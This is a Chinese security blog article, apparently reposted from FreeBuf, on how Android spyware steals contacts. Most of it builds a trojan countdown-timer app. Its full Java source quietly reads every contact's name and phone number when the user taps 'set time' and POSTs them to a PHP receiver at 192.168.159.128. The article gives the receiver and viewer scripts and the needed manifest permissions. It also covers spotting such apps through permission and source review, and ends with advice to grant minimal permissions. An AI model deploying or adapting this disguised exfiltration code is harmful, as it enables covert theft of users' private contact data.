黑客是如何监视你的手机的?

0×00前言

最近收到比较多的垃圾信息,想起了恶意软件这种东西可能泄露信息,于是便写下此文。

0×01实验环境

基础环境:win10,Android studio 3,jd-gui,apktool,dex2jar

应用 :MyTimer(APP), php网页(接收信息)

虚拟机:

0×02实验准备

在ubuntu(192.168.159.128)服务器上搭建好php环境,然后准备三个文件:newfile.txt(用来存储接收到的信息),readinfo.php(用来展示接收到的信息),receive.php(用来接收信息)。这里使用的是虚拟机,实际中需要外网能访问的服务器,这样手机应用才能正常连接到服务器。

readinfo.php

<?php$file_path ="/var/www/readcontacts/newfile.txt";if(file_exists($file_path)){$str = file_get_contents($file_path);$str =str_replace("\r\n","<br />",$str);$str=explode(',',$str);echo"<pre>";print_r($str);echo "<pre>";}?>

receive.php

<?php$info= $_POST["info"];$myfile =fopen("/var/www/readcontacts/newfile.txt", "w") ordie("Unable to open file!");fwrite($myfile, $info);fclose($myfile);?>

0×03实验步骤

在模拟器中安装并启动MyTimer(此时服务器上的newfile.txt文件为空),从功能上看这只是一个计时器。如下图所示

我们在最上面的输入框中输入时间,点击“设置时间”按钮,会在下面显示到计时的时间。如下图所示

当我们点击“开始计时”按钮时,应用开始倒计时,如下图所示:

在使用此应用时,我们并未发现什么异常情况,现在我们把视角切换到ubuntu服务器上,这个时候就会发现newfile.txt中多出了一些内容,然后我们访问readinfo.php,就可以看到手机上的联系人信息

0×03原理剖析与软件实现

一、原理剖析

通常我们要分析一个应用是否有恶意功能,可以进行以下几步操作:

0、使用apktool得到AdroidManifest.xml,使用dex2jar得到应用源码

1、审查应用程序使用的权限

通过查看我们发现这个应用申请了网络访问权限,联系人读写权限,访问帐户列表权限,但是我们从应用的功能来看明显是不需要这几个功能的,列入嫌疑名单,开始下一步审查。

2、审查应用程序使用的进程间通信机制

这里我们只发现了一个调用主Activity的机制,本步检查安全。

3、分析源码中开放的端口、共享/传输的数据,以及网络连接

通过分析源码,我们发现代码里有一段发起了网络请求,应用程序在向一个IP为192.168.159.128地址发送信息

继续阅读源码,我们发现代码里有读取联系人的操作,同时将读取结果拼接到URL参数中向远程服务器发送。

综合分析可以发现,本应用程序在运行时,当用户点击设置时间按钮时会读取用户通讯录联系人并通过网络方式发送给远程服务器,可以定义为木马程序。

二、软件实现 上面是当遇到一个APP时的审查操作,为了更加深入的了解恶意软件的工作原理,此处我们编写一个简单恶意APP(也就是上面我们分析的APP),仅读取联系人信息。在实际中黑客可以会读取短信,读取位置信息跟踪定位一个人等。

MainActivity主要内容

public class MainActivity extendsAppCompatActivity implements OnClickListener {private EditText inputtime;private Button getTime;private Button startTime;private Button stopTime;private TextView time;private int remaindertime = 0;private Timer timer = null;private TimerTask timerTask = null;private String[] contacts = null;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);initviews();setOnclick();}private void setOnclick() {getTime.setOnClickListener(this);startTime.setOnClickListener(this);stopTime.setOnClickListener(this);}private void initviews() {inputtime = (EditText) findViewById(R.id.inputtime);getTime = (Button) findViewById(R.id.gettime);startTime = (Button) findViewById(R.id.starttime);stopTime = (Button)findViewById(R.id.stoptime);time = (TextView) findViewById(R.id.time);}@Overridepublic void onClick(View v) {switch (v.getId()) {case R.id.gettime:time.setText(inputtime.getText().toString());remaindertime =Integer.parseInt(inputtime.getText().toString());printinfo();break;case R.id.starttime:startTime();break;case R.id.stoptime:stopTime();break;}}private Handler mHandler = new Handler() {public void handleMessage(android.os.Message msg) {time.setText(msg.arg1 + "");startTime();}};private void startTime() {if (timer == null) {timer = new Timer();}timerTask = new TimerTask() {@Overridepublic void run() {if (remaindertime > 0) {remaindertime--;Message message =Message.obtain();message.arg1 =remaindertime;mHandler.sendMessage(message);} else {stopTime();}}};timer.schedule(timerTask, 1000);}private void stopTime() {if (timer != null)timer.cancel();}privatevoid printinfo() {contacts = getContacts();if (contacts != null || (contacts == null && contacts.length !=0)) {new Thread(new Runnable() {@Overridepublic void run() {sendContacts();}}).start();}}public void sendContacts() {String target ="http://192.168.159.128/readcontacts/receive.php";URL url;try {url = new URL(target);HttpURLConnection urlConn = (HttpURLConnection) url.openConnection();urlConn.setRequestMethod("POST");urlConn.setDoInput(true);urlConn.setDoOutput(true);urlConn.setUseCaches(false);urlConn.setInstanceFollowRedirects(true);urlConn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");String info = "";for (String item : contacts) {info += item + ",";}DataOutputStream out = new DataOutputStream(urlConn.getOutputStream());String param = "info=" + URLEncoder.encode(info,"utf-8");out.writeBytes(param);out.flush();out.close();if (urlConn.getResponseCode() == HttpURLConnection.HTTP_OK) {urlConn.disconnect();}} catch (MalformedURLException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}}private String[] getContacts() {Uri uri = ContactsContract.Contacts.CONTENT_URI;String[] projection = new String[]{ContactsContract.Contacts._ID,ContactsContract.Contacts.DISPLAY_NAME};Cursor cursor = this.getContentResolver().query(uri, projection, null,null, null);String[] arr = new String[cursor.getCount()];int i = 0;if (cursor != null && cursor.moveToFirst()) {do {Long id = cursor.getLong(0);String name =cursor.getString(1);String[] phoneProjection = newString[]{ContactsContract.CommonDataKinds.Phone.NUMBER};arr[i] = id + " |name:" + name;Cursor phonesCusor =this.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,phoneProjection,ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + id,null,null);if (phonesCusor != null&& phonesCusor.moveToFirst()) {do {String num =phonesCusor.getString(0);arr[i] += " |phonenum:" + num;} while(phonesCusor.moveToNext());} i++;} while (cursor.moveToNext());}return arr;}}

在AndroidManifest.xml添加如下配置

<uses-permissionandroid:name="android.permission.INTERNET"/><uses-permissionandroid:name="android.permission.WRITE_CONTACTS"/><uses-permissionandroid:name="android.permission.READ_CONTACTS"/><uses-permissionandroid:name="android.permission.GET_ACCOUNTS"/>

Avtivity_main.xml布局文件

<LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android"xmlns:tools="http://schemas.android.com/tools"android:layout_width="match_parent"android:orientation="vertical"android:layout_height="match_parent" ><EditTextandroid:id="@+id/inputtime"android:layout_width="fill_parent"android:layout_height="wrap_content"android:ems="10" ><requestFocus /></EditText><Buttonandroid:id="@+id/gettime"android:layout_width="wrap_content"android:layout_height="wrap_content"android:text="设置时间" /><TextViewandroid:id="@+id/time"android:layout_width="wrap_content"android:layout_height="wrap_content"/><Buttonandroid:id="@+id/starttime"android:layout_width="wrap_content"android:layout_height="wrap_content"android:text="开始计时" /><Buttonandroid:id="@+id/stoptime"android:layout_width="wrap_content"android:layout_height="wrap_content"android:text="停止计时" /></LinearLayout>

0×05 写在最后

上面的程序只是演示了读取并发送联系人,黑客往往还会读取位置信息,读取短信,读取浏览器历史信息等。所以大家平时在安装APP时需要谨慎,在授予权限时也应该遵循最小权限原则,能不给的权限就不给。希望此文能帮助大家更好的理解恶意软件工作原理,帮助大家更好的防范恶意软件,相信大家也都是遵纪守法的好公民,学习只是为了防身,嗯。

* 本文作者:烟波渺渺正愁予,本文属FreeBuf原创奖励计划,未经许可禁止转载

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-05-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Android干货园

Android谈谈封装那些事--BaseActivity和BaseFragment(二)

版权声明:本文为博主原创文章,转载请标明出处。 https://blog.csdn.net/lyhhj/article/details/53...

45710
来自专栏非著名程序员

Android 无需权限显示悬浮窗, 兼谈逆向分析 App

前言 最近 UC 浏览器中文版出了一个快速搜索的功能, 在使用其他 app 的时候, 如果复制了一些内容, 屏幕顶部会弹一个窗口, 提示一些操作, 点击后跳转...

1.1K100
来自专栏非著名程序员

Android面试系列之应用内多语言切换

昨天组里的同事遇到一些切换多语言的细节问题,发现在Android N版本上配置应用内多语言没有生效,正好拿出来做为一个面试题讲解一下。 面试题:如何实现应用内多...

528100
来自专栏Android开发指南

7.xmpp版即时聊天

60360
来自专栏CSDN技术头条

内存泄漏的检测、解决、防止

引言 今天又是没什么事情,好,不多说,直接进入我们的主题吧。 今天说的是关于内存泄漏的检测与解决。这个问题想必对于初学者是个迷,也不知道从何出入手,那么今天这个...

343100
来自专栏极客猴

Android设计模式之MVP

最近利用业余时间来深入学习MVP模式,我把自己对MVP模式的理解分享给大家,希望能给你理解MVP模式提供帮助。

13110
来自专栏KK的小酒馆

垃圾回收及内存调试工具的介绍Android应用性能优化

Android的Generational Heap Memory模型和几个内存调试工具:Memory Monitor、Allocation Tracker、He...

27510
来自专栏小鄧子的技术博客专栏

【译】Android技术栈,1#架构

本文是如何开发一款具有扩展性,维护性和测试性的Android应用专题的第一篇。本专题将会涉及到一些设计模式和类库的使用方式,减少Android Develope...

11830
来自专栏非著名程序员

浅析Otto框架,并与EventBus对比

? 前两天在公众号里发了一篇有关EventBus的文章《玩转EventBus,详解其使用》,有读者和开发者反馈说没有OTTO好用。确实是,各有优缺点吧,那今天...

26550
来自专栏图像识别与深度学习

《Android》Lesson02-第1个Project,Log

205120

扫码关注云+社区

领取腾讯云代金券